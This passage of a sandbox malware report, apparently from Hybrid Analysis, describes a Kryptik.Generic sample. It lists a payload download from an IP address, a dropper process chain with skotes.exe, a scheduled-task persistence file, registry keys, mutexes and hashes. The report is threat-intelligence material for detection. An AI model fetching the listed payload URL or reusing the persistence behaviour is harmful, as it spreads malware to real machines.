no-cache","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"host":"185.215.113.75","host_ip":"185.215.113.75:80","url":"/files/bonus_max/random.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/bonus_max/random.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}],"processes":[{"pid":560,"ppid":0,"name":"ffa05200d7a741017eb476eef981b041.exe","command_line":"","sha256":"2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001","normalized_path":"C:\\ffa05200d7a741017eb476eef981b041.exe","uid":"00000000-00000560","icon":"$4b"},{"pid":2756,"ppid":560,"name":"skotes.exe","command_line":"","sha256":"2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001","normalized_path":"%TEMP%\\abc3bc1985\\skotes.exe","parent_uid":"00000000-00000560","uid":"00000000-00002756"},{"pid":516,"ppid":2756,"name":"5b5767e85f.exe","command_line":"","sha256":"adcf3c6b42cbce9d499469b468125e5920d6f31af2c536ff0c45c208833a62ba","normalized_path":"%TEMP%\\1085426001\\5b5767e85f.exe","parent_uid":"00000000-00002756","uid":"00000000-00000516"}],"all_imported_dlls":["wow64win.dll","winmm.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","userenv.dll","mstask.dll","xmllite.dll","oleacc.dll","cryptsp.dll","KernelBase.dll","rsaenh.dll","webio.dll","wship6.dll","dnsapi.dll","dhcpcsvc.dll","FWPUCLNT.DLL","msasn1.dll","wininet.dll","version.dll","normaliz.dll","profapi.dll","winnsi.dll","bcryptprimitives.dll","nsi.dll","devobj.dll","RpcRtRemote.dll","winhttp.dll","gpapi.dll","shell32.dll","lpk.dll","api-ms-win-core-synch-l1-2-0.dll","cfgmgr32.dll","npmproxy.dll","msvcrt.dll","VxSSL32.dll","mpr.dll","ExplorerFrame.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","secur32.dll","wow64cpu.dll","ole32.dll","dwmapi.dll","tzres.dll","gdi32.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","ntmarta.dll","apphelp.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","schannel.dll","shlwapi.dll","sspicli.dll","kernel32.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","oleaccrc.dll","IPHLPAPI.DLL","netprofm.dll","sechost.dll","clbcatq.dll","duser.dll","propsys.dll","mswsock.dll","usp10.dll","setupapi.dll","bcrypt.dll","imm32.dll","ws2_32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","uxtheme.dll","dui70.dll","GdiPlus.dll","advapi32.dll","rpcrt4.dll","oleaut32.dll","ncrypt.dll","user32.dll","ntdll.dll","msctf.dll","iertutil.dll","comctl32.dll","urlmon.dll","WSHTCPIP.DLL","rasadhlp.dll","wow64.dll","shdocvw.dll","dhcpcsvc6.dll","nlaapi.dll","cryptbase.dll","fltLib.dll","Wldap32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","wshqos.dll","crypt32.dll","credssp.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"random_1_.exe","sha256":"adcf3c6b42cbce9d499469b468125e5920d6f31af2c536ff0c45c208833a62ba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"5b5767e85f.exe","sha256":"adcf3c6b42cbce9d499469b468125e5920d6f31af2c536ff0c45c208833a62ba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"skotes.exe","sha256":"2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"skotes.job","sha256":"7d5638d86566d6d353717e17fe1fd4cd42880541a41ae310e50e42aca643d443","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%WINDIR%\\Tasks\\skotes.job","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%TEMP%\\abc3bc1985\\skotes.exe","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{70DD8E0D-CE5B-4DCF-9D3D-26B70122BFA9}","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%TEMP%\\1085426001\\5b5767e85f.exe","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OX8EQCT0\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\006700e5a2ab05704bbb0c589b88924d","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"006700e5a2ab05704bbb0c589b88924d","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}]}},"report_ids":{"sandbox_job_ids":["67b42a0003193fc1d7030f01"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Kryptik.Generic Sample 2e90e00abbd4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 2e90e00abbd4…. Malware family: Kryptik.Generic. Threat score 100/100. 13/25 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001"}],["$","meta","4",{"property":"og:title","content":"Malicious Kryptik.Generic Sample 2e90e00abbd4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 2e90e00abbd4…. Malware family: Kryptik.Generic. Threat score 100/100. 13/25 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Kryptik.Generic Sample 2e90e00abbd4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 2e90e00abbd4…. Malware family: Kryptik.Generic. Threat score 100/100. 13/25 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4c","11",{}]]